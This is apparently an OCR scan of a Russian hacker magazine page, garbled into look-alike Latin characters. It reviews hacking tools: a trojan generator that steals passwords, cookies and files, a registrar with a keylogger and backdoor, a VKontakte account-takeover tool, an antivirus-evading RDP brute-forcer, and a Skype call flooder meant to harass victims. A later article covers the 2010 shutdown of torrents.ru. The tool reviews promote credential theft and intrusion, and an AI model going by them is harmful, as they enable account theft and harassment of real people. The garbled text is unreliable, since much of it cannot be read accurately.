CTIII. 6YAb TO axrep V1nV1 neseu. 11 AYMalO. YTO He CTO!l1T orxpsraan, bornsuro e KOMbIOHVlTV1, npeABapV1TenbHO He n03a6oTVlBwV1Cb 0 ero 6e30naeHocTVI. M!I1nn};10Hbl cpaHOB no BeeMY MV1PY 06w,aIOTCS1 V1 06MeHVlBaIOTCS1.II1HcpopMaL(V1e~ 0 CBOV1X m06I11ML(aX Ha fiaae Ys=l3BIIIMbiX nnaTcpopM. TaK "-1TO 3aAYMa~CR: HaCTOJ1bKO nV1 Heo6xOAV1MO BrOHRTb

B <pacxy HaWIIIX 06w,VlX KyMV1pOB 1113 aa Hepa,1J,VlBbiX nOKnOHHIIIKOB?:JC

x- TOOLS

nporPAMMbl Ami XAKEPOB

n PO iPAM MA: GeneratorTroj

OC. WINDOWS 2000!2003!XP!VISTA/7 ABTOP NOXJOKER

rn;;;;;118Oii1"'""","'!I~_IK07~ISo:rHn9dI8.tl ... il'rt>:ce=I-'.cIOsIolopeO<'_1 Goo?oo- . ."..,.

~1«"""9'"

ft 1:31:00.0

" f.lUio>tfurt

HaCTpO~Ka reaeparoparpoaaoa

npe)J,CTaBn~1O TBoeMY BHVlMaHlt110 HennoxylO anbTepHan1BY 3HaMeHl-1TOMY nlllH4Y V1 era MO,lJ,lI\¢V1- Kau,lIIflM - HaBopo4eHHbl~ re+tepa'rop tpoa+roa OT noxjoker.

ECJlIlI nepen T0601l1 xorna-nafio BCT3HeT33)J,a4a npocnerurrs sa nonpyron lI1Jlll1 HeAPYIOM [II1CKJlI04111- renu-o B copaaosarensaux uen fl x], TO 3Ta npora:

HeCQMHeHHO, cnenaer Bee B03MO>KHOe, 4T06bl cHa6)J,ltlTbTe6s:1 Heo6xD)J,II1MbIMII1 napOmlMlI1, CKPV1HWOTaM~ VI cpaVlnaMlt1.

CDYHKLl,V10Han VI oco6eHHOCTVl YTVlm1Tbl cne)J,YIOUJ,Vle:

• orrrpaaxa nanaax na e-mail M/I-mM FTPi

• Y13Bne'-JeHMe cookies t13 Mozilla FireFox, Opera, IE, Google chr-ome.

• J!I3BJIe'YeHJ.1e napone:i1 M3 leQ 6 _ 0 J1 QlP lnfium;

• llo6bl'la HY)KHblX 4?ailmoB C KOMTIblOTepa

lKepTBa - «KITJ1eHToM») ;

• Pa60Ta c (j;lati:J10M hosts {HeBJ1.n;J1- MaH nepeanpecauaa C O,I(HOI'O earn-a na APYI'oti:} .

Eenll1 y refis ecrs KaKlI1e-Jl1l160 nO>KenaHII1~ ItInltl npe,ll,nO>KeH\I1~ no pafiore nporpaMMbl, eMeno HanpaB""" "XaBTopy no al1pecyexploit.in/foruml index. p h P ?showtopi c~34 995.

npOiPAMMA DUVET

OC WINDOWS 2000!2003!XP! VISTA/7

ABTOP nYXOBOIll

04eHb 4aCTO HaweMY 6pary CTaHOB\I1Te~ Heo6xo)J,II1MO 3a\l1MeTbCOTHII1, a TO \11 TbIC5=lYII1 aKKaYHTOB Ha pa3Jlll1YHbiX nonynspusrx nopranax \11 B couaansHblX cersx \>KenaTenbHO, becnnarno.l. Pe6~Ta 1113 KOMaH,ll,bl downteam.ru nouoryr refie peururs sry Mep30naKOCThYtO npotineuy

V1raK, nporpasoaa nns 3BTOMan1YeCKOVl 111 MHoronOTOYHOVl perucrpauaa aKKaYHTOB B pa3nll1YHbiX nonyns:lpHblX aeb-cepsucax - 3TO Duvet.

n pora C nerKOCTbtO CMO>KeT HaperaTb ,lJ,Jls:J Te6s:1 KY'-.1yaKKaYHTOB BTaKiI1X npoexrax. KaK: mail.

ill, chat.ru, e-mail.ru. bigmir.nel, yandex.ru, rambler.ru, moemesto.ru, 100zakladok.ru, vzakladki.com.ua, oostquickly.ru, bookmarkwizard.ru, mylink.org.ru, lvoirod.ru, addtome.ru, bobrdobr.ru.

Oco6eHHoCTiI1 nporpaMMbl:

• BCTpoeHHblM Key Logger (cncxcrmo ae HaIKaT:t1eM KrraBYIllI) C B03MOIKHOCTblO BbIoopa paanemerens :vt nepaona o'rnpe axx

OT"l..feTa;

• B03MO)KHOCTb C,llenaTb CKPY.!HllIOT - CH11MOK BCeI'O rrpcacxor.aner-o B .n;aHHbJ:L1 MOMeHT aa axpasse aep-r-aa (q,Y111IKJi1: nufiop rtepwona C03p;aHJi15I CKPJi1HllIOTOB,

KOnJ1'.J:eCTBa C03p;aBaeMh!X q,awnoB, Ji1X ~HTepcpeHC nporpaMMbl

·~~rtre9istralion-t\Vj\"S06ywjxo

Ml4eHM M pacumpeaaa , yrtanerme C03.n;aBaeMOI'O ~ai1rra, coxpaxeaae JIOKanbHo) ;

• B03MOiKHOCTb 3aMeHbI C:t1MBOJIOB B 6y- • Itonnepxxe COKCOB M npOKCJ1KOB;

<pepe oeaeae (acnom.ayea-ca • aarrprraep • • rtonnepxxa cepaaca antigate.com;

zma norueeaa xourenexo a) ; • Jtonnepxxe I:vJHOronQTO'lHOCT:t1 i

• Se sepurenne yxaaanaor-o nponecce : • om.aonam.naa perM.CTpaUM.5I ICQ-HO-

• Remote desktop control (aaor ono- MepoB (aanpto-rep I bigmir. net 11

TO'iHbIM peaone , C03,llaHMe yue-racz 3a- rambler. ru n03EOJI5IIOT peI'MCTpMpOEaTb

TII1CY.! na KOMTIblOTepe xep'r aa , o-rnpaas a aCbKYf BMeCTe C aKKaYHToM) .

IP-al1peca) ;

• Backdoor - CKpblToe yrrpaBJIeHl1e KOMnsnr-epcce (TbJ 5IBJI.r.:ellIbC.B: «cepaeposr» I

~ 070

100 : 6OfOfO"'~'6~60d9';"Of3.

bcobnO!l\"'II,:!e«I.ru ml-bnk.org.ru tvorod.ru

ft"/:lZ5ttiJis"':~ .. ;""ik\·,'i \"roikfsi)"h3:ewmxhm<:o<SmitJ> 1n,~6';':;'I...o.a":v""f<3vpJ:!61j

IcqHCIHePOB-O

3a 06HOBJleH'lIs:1M\I1, COBeTaMiI1 \11 Xans:lBHblMII1 KnlO'-lVlKaMVl P.HTVlreVITa - go6po n oxenoaa-n,

x- TOOLS

Ha o¢"~"a"bHyKJ crpa-iuuy nporu ldownleam. rul20 1 010 llduvet.htmll .

nporPAMMA PETPIo1BEP1X OC WINDOWS 2000!2003/XP! VISTA/7

ABTOP nYXOBOIll

MeHIO PU:m., (a~Ta6Topa

An~gat., 1375.2616 iII<xa)'llTbi

iO:60fOfO~

B~60Te-D BoccraH09JleHO-O

2:47;28 - proxy list load~d· 647 p'aXV' 10101

BOCCTaHaSIH1saeM napona BKoHTaKTe

Ha nOBeCTKe )J,Hs:! ew,e O)J,Ha 3aMe4aTeJlbHas:l nporpaMMa or downtear-i.

npe)J,CTaBII1M CneAYIOw,ylO onyau,V1IO: YTe6s:J V1MeeTC~ Kyya MblnbH!<1KOS OTaKKaYHTOS BKoHTaKTe [cBOil1X, KOHeYHO ace :J 111 rebe Heo6xOAII1MO acnovHiI1Tb napons K 3H1M aKKaYHTaM C nOMow,btO perpuaa -repes MblnO. TaK KaK S6\11BaTb sce 3TO neno Spy4HylO Man03¢¢eKTiI18HO, coaeryio BHiI1MaTeJlbHO npac-rorperscn K npore PeTpil1Sep 1 x.

Perpasep 1 X - 3TO yrunnra, koropas ScnOMiI1HaeT naponu or BCeXTBOil1X aKKaYHTOB aa HeCKonbKO KJlV1KOB.

Kpove roro, YTo)J,aHHbIVI II1HcTpYMeHT nOMO>KeT -refie peTpl.t1BHyrb napona no en l.t1 CKY aKKaYHToR BKoHTaKTe, OH ew,e iI1 CMO>KeT npoBeCTVI pasJI\I1YHble npouenypu c YKa3aHHblM\I1 nOYTOBblMiI1 "lLI"KaM". np"H~"n pafioru nporpaMMbl npOCT" nonuocruo aBToMaTIII3V1posaH. Bce, YTO e~ 6Y.D.eT OTTe6~ He06xo.D.iI1MO - 3TO cnll1COKaKKaYHTOS B cTaHgapTHo~ MaCKe "erna.l.password Oc06eHHOCT" PeTp"Sepa,

• Bec s <]:>YHKl.l;:Ii1OHan npor-x YMeCTJ.1nCH B naa peJKJ.1Ma pa60TbI J1 BKnap;KY C npoxC.B:MlII;

• TIO,ll,IJ;epJKKa MHOr0I10TO'-IHOCTVl (KOJIt1- "4eCTBO nOTOKOB BblCTaBJI5IeTC5I BPY'-IHYIO) ;

• I10,IJ;,IJ;epJKKa aHTI1Kan"4Y1 vepea cepaac antigate_corn;

• Pa60Ta -repe s CTI:vrCK:t1 COKCOB M npOKCl1 (simpleproxy. r u) i

• Bee a rrponecc pa60TbJ COnpOBOJK,n:ae'IC.B: c-re-rycesnc «<B pe So'r'e» I «BOCCTaHOB-

neHO» I «He BOCCTan:OBJleHO''') .

~ III ~ XAKEP 06/137/10

~ ",""om "MO""" 0 0"""" paboru npora:

1. «5a30Bb1Vi pe>KIIlM» - npocroe BQCCTaHOBneHlIle naponeji no cm1CKYTBoIllX n04TOBbiX aKKaYHToB nporpaMMa nenaer sanpoc H3 BOCCTaHOBneHlt1e naponn. 3aTeM ocyuiecranaer npcaepxy Ha nO\.HO- 80M cepsepe lnOp,p,ep>KlIlBaIOTC$1 Bee nonyn$1pHbl8 n04TOBbl8 cnY>K6bl pYH8Tal V13a6V1paeT napons

OT aKKaYHTa BKoHTaKT8. nocne -rero nonY48HHoe m1CbMD ynanserca.

2. «Flpoeepxa e-mail». B c11Y4ae, eCJH1 refie noHa)J,0511lTGl npOBeCTII1 TOflbKO nposepxy nOYTOBblX aKKaYHToB - nepeKJllOyaVJC$1 Ha 3TOT pe)l(lI1M. C era nOMOUJ,blO Tbl CMO>KeWb OTCOpTiI1pOBaTb n04TOBbie anpeca, YAanlllTbAy6Jlll1KaTbllt1 np04t.1V1 MyCOp, a TaK>Ke npoaepars acxa Mblna H3 SaJH1,lJ,HOCTb.

B pesynsrare Tbl nony-uiun, rorosuc K pabore aKKaYHTbl B OKHe It1HTepcpeVica nporpaMMbl, a TaK>Ke cm1CK~ aKKaYHTos, xoropue 6yg'fT pa36\11Tbi no xareropnsv [sam1,lJ,Hble aKKIll BKoHTaKTe, Sanlll,lJ,Hble anpeca nOYTOSblX ~W,IIlKOB K HIIlM, o6w,lIlw cnuco« SanVl,lJ,HbIX Mbln, o6w,Vlw Cnl!lCOK HeSan\l1,lJ,HbiX

Mbln \11 obuias fiaaa Ha o6pa60TKyJI!1 HaXO,lJ,VlTbCr1 S cpaliinax S nanxe C nporoa

npO,PAMMA BRUTTY

OC WINDOWS 2000/2003/XP/VISTA/7 ABTOP ANGER && U.J.ANGER

Treads J10

Client Exec Imodule.exe

Good_filemask ~

"'·Start

~Exil

)( Stop

1\: CleanUp

Advanced options-'======--------, r Show RD? GUI r Force stop

[lpcnonxas ,(\06pylO Tpa,(\"~"10 Hawe" py6p"K", npencraensnc refie Brutty- Oyepe,(\HOW bpyrcopc

~ yyeTHblX 3anViCelii KY,lJ,aneHHbIM pa60YVlM crona» ~ Ha ,lJ,e,lJ,VlKax, OCHOSaHHbl1ii Ha 6pyre OT Rankor'a. ._____ OC06eHHOCTIIll!1 OTflIllYlI1r1 OT ,lJ,pyrVlx nporpaMM

• ManeHbKl1l1 pe axep (-500K6);

• OTCYTcTBMe B Sa aax aHTl1BMpYCOBj

• YiHTerpl1pOBaHHhlVI GUI nnsr pa60ThI C VNC acanne r:

• MHoronoTo'Y:HoCTb;

• C03,lJ;aHlIIe cofic-r-aemro r-o c epnnc a B Windows (noaaonae-r- aerrycxaa-s, rrponecca 6pYTa M3-nO,lJ; y"YeTHOl1 3anHCH System) ;

• B03MOIKHOCTb CMeHhl lIlMeHlIl r'puanepa aa Svchost. exe (noaeonae-r TI03a- 60TVlTbC5':I 0 Heo6HapYiKeHJlH1 a.n.tI".lli1HaJ.'.1.vl nernnca ) ;

• He Tpe6yeT ,IJ,onOnHMTeJIbHbIX 6I16mlO-

XAKEP 06 /137/ 10

TeK (ace HYIKHhle 611l6JI110TeKJ.1 J.1HTerpJ.1- poaaxa B J.1cnOJIHHeMblM q,al1n) i

• coxpanenae n ap ane-r'po a 6pYTa. MO,lJ;M¢MKal.l,M7I YTJ.1nI1Thl OT U. j . anger BKJIl()"y:aeT B ceea cnenyourae q,Ji1"Y"Ji1:

• ttcr-pe enenrce Sontsmor-o KonM"YeCTBa He.llopa6oTOK;

• Ilepepe So'nxa cnYJK6bl windef i

• .D.o6aBJ1eH SMTP-KJ1J1[eHT (.llJ153: o'r'npaaxrr pe3YJTbTaTOB na MbInO) j

• Yny'Y:IIleHMe CKPblTHOCTJI[ KJIJi1eHTa.

Ecn" YTe6" ecrs BonpOCbl no pafiore 6pyr¢opca, uanpaansji \I1X npS1MO 8 ronnx Ha Ace4Ke:.b11..QiL forum.asechka.ru/showthread.php?p=633911.

npO,PAMMA SKYPEFLOODER OC*NIX/WIN

ABTOP INLANGER && LOGIN999

.o.aBHeHbKOY Hac He 6blno HlI1yero VlHTepecHoro)J,ns:l Skype. Hacrana nopa V1CnpaSI-1Tb 3TO He,lJ,Opa3yMeH~e. KaK B"AHO ~3 Ha3BaH"", SkypeFlooder

- 3TO cpnyp,epnt06bIXTenecpOHOS, HanVlcaHHbl1ii Ha Python" pa60TaI01l1~" -repes eKa"n.

Ha p,aHHbl!l1 MOMeHT nporpawaa YMeeT cneAYIOuiee

• Serrpeunosa-n, HOMep -r-e.nerpona xep'r-aer:

• Sanpauunsa-rr, .nay ay MeiK.llY 3BOHKaMM;

• 3BOHJI!Tb :ra HOMep xep'r'aa JI[ IK,1J;aTb nO,llH.s:rTlII5! Tpy6KJ.1 i

• EcnY1 lKepTBa fiepe'r Tpy6KY, cbpacvaa'rr, 3BOHOK, ShI,n;epJl.U,maTb uufipaaayo To6011 naY3Y J.1 3BOHWTb 3aHOBO i

• EcnJ1 JKepTBa IKMeT Ha «oT6oM Bb130-

sa» I TO I OIT7ITb IKe I 3BOBMTb 3aHOBO.

Oco6eHHOCTb cpnYAepa 3aKn104aeTCS1 STOM, 4TO p,eHbrVl He ycnesalOTyliiTVI c rsoero cKailinoBcKoro aKKaYHTa [ecnu BApyr )J,aHHaS1 Henpv1)HHOCTb

sce xe cnY4VlTCI1, npOCTO nOCTaBb 60nbWYlO

naY3Y Me>KY 3S0HK3Mvd. 8 CKOPOM speMeHVl asrop obsuian HaM GUI-sepCVlIOYTIIIJH1Tbl, sa «orcpcri

Tbl CMO>KeWb o6paTV1TbCs:I B ronnk Ha AHTV1yaTe: forum.antichat.ru/thread 116226.html. AnoKa Tbl CMO>KeWb socnonsaoearscn opV1rV1HanbHO~ nporolii, HeMHoro 1Il3MeHeHHbiM III onTIIIMVl3111pOBaHHbiM CKp"nTOM OT 109in999" exe-BepC"e" ¢ny,(\epa.

npOiPAMMA CHECKERANTIGATE

o C WI N DOWS 2000/2003/XP /VISTA/7 ABTOP "TERIKON"

80 MHorll1X nporpauwax, npencrasne-ruux S HawVlX obsopax, Vlcnonb3yeTCr13aMeyaTenbHblVi aHTIIIKan-ra-cepeuc OT antigate.com

OCTaeTCr1 nlllWbO,lJ,lI1H aonpoc - r)J,e S3r1Tb sa.nVlAHble KnlOYVI aHTVlKaw1VI? 8egb ncxynars VlX He cm1WKOM CVlnbHO XOyeTC$1 :I.

O)J,lI1H lI13 OTseTOB KpoeTCS1 B B03MO>KHOCH1X3aHlI1-

MaTe.nbHolii YTVlm1Tbi Checker Antigate, KOTOpar1, KaK SV1)J,HO 1113 Ha3SaHlI1s:1, yeKaeT aKKaYHTbl antigate. com . .o.ns:l Ha4a.na npou,ecca -rexa Kna,lJ,eM S ¢alii.nWK login_pass.txt cnuco« slI1)J,a "Ioqin.pass npVl ycneun-or-r yeKe Ha ssrxone Tbl nonY4V1wb cpailln good.txt, rAe 6y,lJ,yr conepxan.ca SanVl,D,bl B sVI)J,e ""nOrll1H;napOnb;Kew lbanauc]" 5a3bl nonsaoaareJleli1 aHTVlreli1Ta MO>KHO cr pafin re. HanpV1Mep, C «a-

i::1 ~

rE

i::1 ~

,ood i~~TQe!o~iA{I~Y"'!HI

IoglnJl05S TeKClosWiAO .. ..,..,e>rr

""

4eKep aHn'IKanLtM

«orc-rn-fio cpopYMa, 3aTeM creHeplllpoBaTb naponu. 3a euie O,I:lHOW MO)J,V1cpV1KaLJ,V1eVl yrlllnll1Tbl, KOTOpar1 -rekaer [Ha 3TOT pas ronsxo cnVlCKV1I<J1104evl!,(\06po noxar oaan, Ha grabberz.com/showQosl. php?p- 278269& postcount-5.

npO,PAMMA NOSOCKS

o C WI N DOWS 2000/2003/XP /VISTA/7 ABTOP RANKOR

T bl HaSepH5'lKa Y>Ke nOAH~.n MHO>KeCTBO npoxcn V1 coxc-cepaepoe C nowouiuo yrunnr, npencraeneuHblX Ha CTpaH"~aX Hawew py6p"K". llpvumo BpeM5'l npe)J,CTaBV1Tb Te6e ew,e D)J,IIIH YAo6HblW 1!1 KpaliiHe KOMnaKTHblVi SOCKS4-cepsep o r Vl3SeCTHoro refie <onepa RankoR. Ocofienuoc-u cepsepa BKJl104alOT S ce611 cnenyiouree.

Coxc-cepaep aa pa60TO"

• COKC taannc an na LJ:J.ilCTOM C}1 6e3 V1CnOJ]b30BaHW5I KaKJI[X-nw60 ,nOITonHJI[TenbHblX 6M6nJ.10TeK j

• TIO,Il;XO,Il;J.1T KaK .n.J17I Spay a epo a , TaK l1 ,lJ;JI.5I 6pYTq,opcepOB ICQ;

• TIPI1B5I3b1BaeTC5I K nop-ry 1080 i

• Bene-r npw6nM3MTeJ1bHYK) CTaTv[CTl1KY

l1CnOJIb30BaHl151j

• Ilo-r-pefinemte naM53:Tli1 c aeneao K MJ.1HMMy''Y (2-5 M6) ;

• J.i1MeeT KPOXOTHhlM pe areep 3 I 91 K6 (nocne UPX, uebuq-xouowr-ypeuaa) .

3a no,o.po6HOCH1MV1 V1 COBeTaMVl cuoaa coaeryrc ofipauiarscs Ha ACeYKY, forum.asechka.rul showlhread.php?l= 118622.::::::

~ 071

•• Mapl"'i «Mifril!» He<jJeAOB8 mifrilllClreal.xakep.ru

TORRENTS.RU

HaweVi crpa-ie OrpaHII14V1SanaCb S OCHOB-lOM 05pa3LJ,oBonOKa3aTenbHolM!.1 peVlp,aMI-1 Ha nonnoru.uue cpa5p\l1K\I1 no WTaMnOBKe ,lJ,II1CKOB, <oropste

3aTeM KpaCI-1BO na B!.1n 111 rpY30BV1KOM nep e a KaMepoi1 [11"CK", He cpa6p"K"i. CornaCII1Cb, 8 cpaBHeHV1111 C aarianHblMII1 KOnll1paViT-SOVlHaMII1 - 3TO ,lJ,eTCKlt1VI nener.

TeM He MeHee, POCC\I1s:! Y>Ke

VSCETb

PQUCJA

(JlAHn 0 0 6M EH H bl E xonHBAPbl PYHETA

B nocne.o.Hee BpeMJI see lIaw.e MomHO ycnblwaTb rpYCTHble WyrKH 0 TOM,

LITO KaKaJl-TO sepaaa Bce me paccKa3ana HaWHM lIHHOBHHKaM 0 cyw.eCTBOBaHHH HHTepHeTa. B caMOM .o.ene, Hawe npasaTenbCTBO H cHnOBble CTPYKTYpbl 06paTHnH CBOH B30Pbl Ha BceMHpHYtO nayrHHY He.o.aBHO, HO «npHHHMaTb Mepbl» HalianH OlleHb aKTHBHO. Cero.o.HJI norOBopHM 0 nape He.o.aBHHX rpOMKHX npeue.o.eHTOB H 0 TOM, KaK «Hawa MHnHUHJI Hac 6epemeT». npeHMyw.eCTBeHHO OT ~aHnooo6MeHa.

Ha crpaawuax II Mbl yaCTeHbKO obpauiaevcs

K aonpocasr aa'ropcko ru npasa lt1 ne aa - Mbl peccxaauaana refie ° caMblX s:!pKlt1X aKT\I1B\I1CTax B otinacr« cnofionuoro no, oc seurarurpOMKlI1e cyp,e6Hble npou,eCCbl, cnep,V1nll1 sa npll1H51TlI1eM HOBblX 3aKOHOB. Ho nOYTII1 ace 3TO BpeMs:! HawV1 pacCKa3bl nocasuraruic s BII1,lJ,HbIM 3ana,lJ,HbiM p,es:!Ten51M \11 Co5bIT\I1S:!M. n04eMY

TaK npO\l1CXOAlt1nO - nOHs:!Tb HeCnO>KHO, sep,b AO +exoronux nop 60Pb6a C nlt1paTCTBOM B

~ 072

XAKEP 06 /137/ 10

PQllCJA

~""~''''"''''''''''''m'_ """..,..' ... 1_"..., ....... _ ... """"""

IFOLER.RU CHOBA B CTPOIO, «ArABA» BbIPA>KAET CBOIO 6nAro,llAPHOCTb nPE3HJlEHTY.

XAKEP 06 /137/10

MHoioneTysepeHHo.o,ep>KIt1TC51 B CnVlCKaX CTpaH C CaMblM BbICOKV1M ypOBHeM nV1paTCTBa. C pa3BVlTVleM V1HTepHeTa 3H1 nokaaarenn. caMO co6oi1, He ynYLJWaIOTC51, ,IJ.a>Ke HanpOH1B - «nnpar c r ao aar s» c raHOBVITCR Bee YAo6Hee 111 npow,e. KOHeYHO, T3Koe nOJlO>KeHllle sew,ev He Morno no.nro DCTasaTbCR He33MeyeHHbiM Hasepxy, HO BOT 6eAa

- KorAa era 3aMeTI-1Jll.1, 6blJlO Y>Ke n03,lJ,HOBaTO P'YWVlTb Bee 3TO 8 aaporiuu.e. TaK K3K «3apOAbIW» p,aBHO npeo6pa3VJJlCS1 B HacTo51w,eiO MOHCTpa. B peaynsr are ce"Yac cpegCTBa 60Pb6bl c q,a"no06MeHOM

B POCCIIll:1 3ayaCTYfO BblrJl5=l,il,7H LJYAecaTO - MOMeHT gaBHo yiyuie s.

HO LJV1HOBHVlKaM V1 CV1JlOBVlKaM Bee paSHO DyeHb XQLJeTCs=I c.ae nar s XOTb lHO-HV16YAb.

lt1TaK, nepe a TeM KaK nepejiru Henocpe)J,CTBeHHO K P3CCK33Y 0 «aaxpunlV1» torrents.ru, HeMHOiO V1CTOpV1V1.

,lJ,0 nopurio BpeMeHV1 cV1Tyau,V1~ aoxpyr KpynHewwero POCCV1WCKoro roppe+rr-r pekepa CKna)J,blBaflaCb KpaWHe bnaronpnsruo. Ha4aBWVlW CBOIO pafiory B 2004 rcny, torrents.ru pac V1 pa3Blt1B3flCs:I 6bICTPO, eCflV1 He CKa3aTb, YTO 8 reOMeTpVl4eCKOW nporpe ccuu. ,lJ,pyrVlM rpexepau. xoropue 8 're rcnu nflO)J,lt1flVlCb KaK rplt16bl nocne )J,O>K)J,Vl4Ka, TaKVle nOTOKV1 Tpa¢lt1Ka V1 He CI-IVlflVlCb, a ecru- VI CHV1fllt1Cb, TO I-1CKnI04V1TeflbHO B KOWMapax.

Kor)J,a no iynapuocrs pecypca )J,OCTV1rna onpe)J,eJleHHol71 OTMeTKVI [TO eCTb rpexep rpeuen yxe no BceMY PYHeTYI. Ha torrents.ru anonue npencxasyeMO n PVlHs:lflI-1Cb KOO1TbCs:I npaeoofinanaren«. Oc06eHHo TOi)J,3 83BOflHosaflVlCb H3WVI, poccVll71cKV1e, «or npacru. T3K KaK VIM, B QTflVl4V1e OT 3aOKeaHCKVlX konner. 6blflO «yna nousruee, 4TO 3)J,eCb npoV1CXO)J,VlT V1 Kyp,a 3TO se)J,eT. To 6blfl 04eHb OCTPbl~ MDMeHT, ~1)J,0 CVlX He COBceM nOHRTHO, KaK BbIWflO, 4TO torrents.ru He npV1KpblflVl eu.e rorr.a. He 3aCY)J,V1flVl, He noncc-cnnn er o HaMepTBO 6eCKOHe4HbiM ooOS·OM VlnVl He npe)J,npVlH5:rflVl VlHblX «KapaTeflbHblX Mep». KOHe4HO, acex nO)J,p06HOCTeC1 1-1 )J,eTaflew OTHOCVlTeJlbHO ,aOCTVl>KeHVls:l KOHceHcyca Me>K)J,y KOMaH,D,OW rpekepa V1 npasoofinanaTefls:lMV1 Mbl He Y3HaeM HV1Kor.o.a, HO BOT V1Tor WV1POKOVI ny6nV1Ke XopOWO V13BeCTeH. I!1CTOPVls:I, MO>KHO CK33aTb, paapeuurnacs MV1pOM - torrents.ru n03BOflV1flV1 nocnonxan, cyurecraoaar s

,lJ,eno B TOM, YTO s 2007 r o.ay C03,D,3TeflV1 torrents.ru 3aQSV1JlVl 0 He,D,OnycTV1MoCTI-1 n-iparcraa. Croru, HenonYflQpHYIO a PYHeTe T04KY 3peHVlQ nO,D,,D,ep>KaJla ,D,aJleKO He BUI KOMaH)J,a rpexepa. V1 Ps:l)J,YY3CTHV1KOS TOr,D,a npoeKT nOKVlHYJlVl [SbIXO,D,u,aMVI C torrents.ru nOTOM 6blflV1 OCHOBaHbl TaK"e pe cypcu KaK Free- Torents.org ~ Tapochek.netl. 3aTO 6blno ,D,OCTV1rHYTo B3aVlMonOHV1MaHV1e c npaBoo6Jl3)J,aTeJlRMV1. OTHblHe p33,D,aLJV1, uapyuraioume aBTopCKV1e npaaa V1 3aKOH, CTanV1 3aKpblSaTbC$'I V1 ynanar sca C rpexepa no ne PBOMY Tpe60Ba H V110 [cn pa se,D,JlYl BOCTVI pa,D,VI oTMeTVlM, 4TO OHltl \II pe aeure yp,aJls:lJlVlCb, HO He CTOflb axrwet-ol. a npe.o.cTaBV1TenRM KpynHblx KOMnaHVlw \II BOBce 6blflV1 p03,D,aHbl a,lJ,MV1HCKO-Mo)J,epaTopcKV1e npaaa: p,a6bl DHI-1 caMVl Hanps:lMYIO MOiJlVl BbIYV1w,aTb ueyronuce.

O,D,HI-1M CJlOBOM, KOM3H,lJ,a pecypca npe.ano-rna no~n-1 C npaaoofinar.areflQM\Il Ha )J,V1aJlOr V1 nonerr ar scs HaWTI-1 peure uua. korop ste yCTpO\llflV1 6bl acex. ,lJ,a, KaK HV1 YAV18V1TeJlbHO, He Bee >Ka>K,D,YT npopaar sc a B nOflVlTV1KY \II ao e aa ts aa caofiony VlH¢opMau,V1V1 B CeTVl, KaK 3TO ,D,eflalOT a,D,MV1Hbl The Pirate Bay.

KOHe4Ho, CeTeaas:l o6w,eCTseHHOCTb He nopanoaanac s texowy nOBOPOTY C06blTVlW - ny6nV1Ka KfleWMV1fla KpynHewwV1W POCCV1WCI(V1W TpeKep n030pOM, KpV1yafla a TOM, YTO torrents.ru nponannc s. nporuynnc s. ononce na V1 TOMY nO,D,06Hoe. DgH3KO speMs:! WflO, a HVlKaKV1X MaccoBblX penpeccV1W, xoropsre np04V1JlV1 rpekepy oc060 pa3rHeaaHHbie 3JlOnbIXaTenV1, He nocrtenc aano. BonpeKV1 nporuoaau. torrents.ru He npeBpaTV1JlCs:I 8 KOMMepyecKVllII pecypc C MaJlOY\IICJleHHbIMV1, TOflbKO 100% JleraJlbHblMV1 pa3,D,34aMlt1. KCT3TV1, no CJ10B3M npe,D,CT3Bv1Tenew

rp ekepa );13-3a HefleraflbHocTV13aKpblBalOTCrl scer o 2-3% pa3,D,aLJ Is

TO SpeMs:I KaK OT He,D,OCTaTKa CV1,D,OB norntiaer Ky,D,a 60JlbWee 4I-1C110), a e)J,V1HCTBeHHbl~ P,OXOP, KOMaH)J,bl no celii ,Ll,eHb nooucrexaer OT peKJlaMbl, KOTOpylO OH~ KpYTeT Ha q,0PYMe

MO>KHO nVl CKa3aTb, 4TO TaKVlM o6pa30M torrents.ru HaWflVl npue wneMblW KOMnpOMl!1CC VI HeKYfO TOYKY 6aflaHca? nOflaraeM, YTO MO>KHO, oco-

npOnAfAH,llA OT AHT~m1PATOB ~ OTBET HA HEE OT 3Alll~TH~KOB CETEBblX CB060.!l.

THINK ILLEGAL DDWHLDDING IS FREE?

GOOD.

BECAUSE IT IS.

6eHHO eCnV1 CpaBHI-1SaTb Bee 3TO C 3ana,lJ,HblMI-1 6aTam1s:lMVl He Ha )f(l.13Hb, a Ha CMepTb Me>K,IJ,Y BnaAenb~aMV1ToppeH~TpeKepOBI-1KOnV1pacTaMVl - TaM 0 «nnanor e» pe4l11 y%..e AaBHO He "AeT

Ho e cnn 6bl V1 ,lJ,aJlbWe Bee wno TaK xe 6e306- na4HO, 3TOVI CTaTbVl He 6blllO 6bl BOBee.

LJn npVlKll104VlllOCb HeO>KVI,!J,aHHo, KaK 3TO acerns lt1 6blBaeT.

B D,lJ,VlH npeKpacHbl(13!-1MHlI1C1 AeHb, a II1MeHHO - 18 q,eBpan" 2010 rena. 3afiA" no anpecy torrents.ru, MVlllm10Hbi nonsao sarene-i c YAVlBlleHlI1eM Y3HaJl(;1, 4TO «nener npoaaune ,lJ,OMeHa torrents.ru 6bl1l0 npl-10CTaHOBJleHO perucrparopou «Py- UeHTp» no npencrasJleHlII10 or.aeria CKn [Cne,lJ,CTBeHHbliil KOMI·neT npu npoxyparype PCPJ no YepTaHoBcKoMY pafioHY r, MOCKBbl OT 16.02.2010». H"KaK"x nonpofiaocrea. ocj:H1LJ,V1aJlbHbIX 3aRsneHVlVI VI TOMY nO,lJ,06HOrO He 6bIJlO, YTO roru.xo nonnuno Macna B or or-s HapO,lJ,HOrO HerO,lJ,OBaHIII$1. BeCb pYHeT 6YKBanbHO BCKlllnen, 06cY>K,lJ,a$1 cnYYIIIBureecs. BbIABV1ras:! caMble 6e3YMHbie np ennOnO>K€HIIIs:!1II CTPOs:! AOra,lJ,KIII, 1113-3a -rero >Ke

r pekc p 3aKpblnlll. BnpOYCM, II<JpO,lJ,Ha~ naHIIIKa cnerka noyruxr a. KorAa rpekep B CYIIITaHHble "aCbl cnOKO",Ho B03pOA"nCO no anpecy http:// rutracker.org. Crane nOHs:lTHO, YTO a rps:l,lJ,Yw,€VI «npt.10CTaHOBK€ ,lJ,enert.1pOBaHIII51» a,lJ,MV1HIt1CTpa~"~,CKOpeeBcero,npeAynpeA"n •.

~ 074

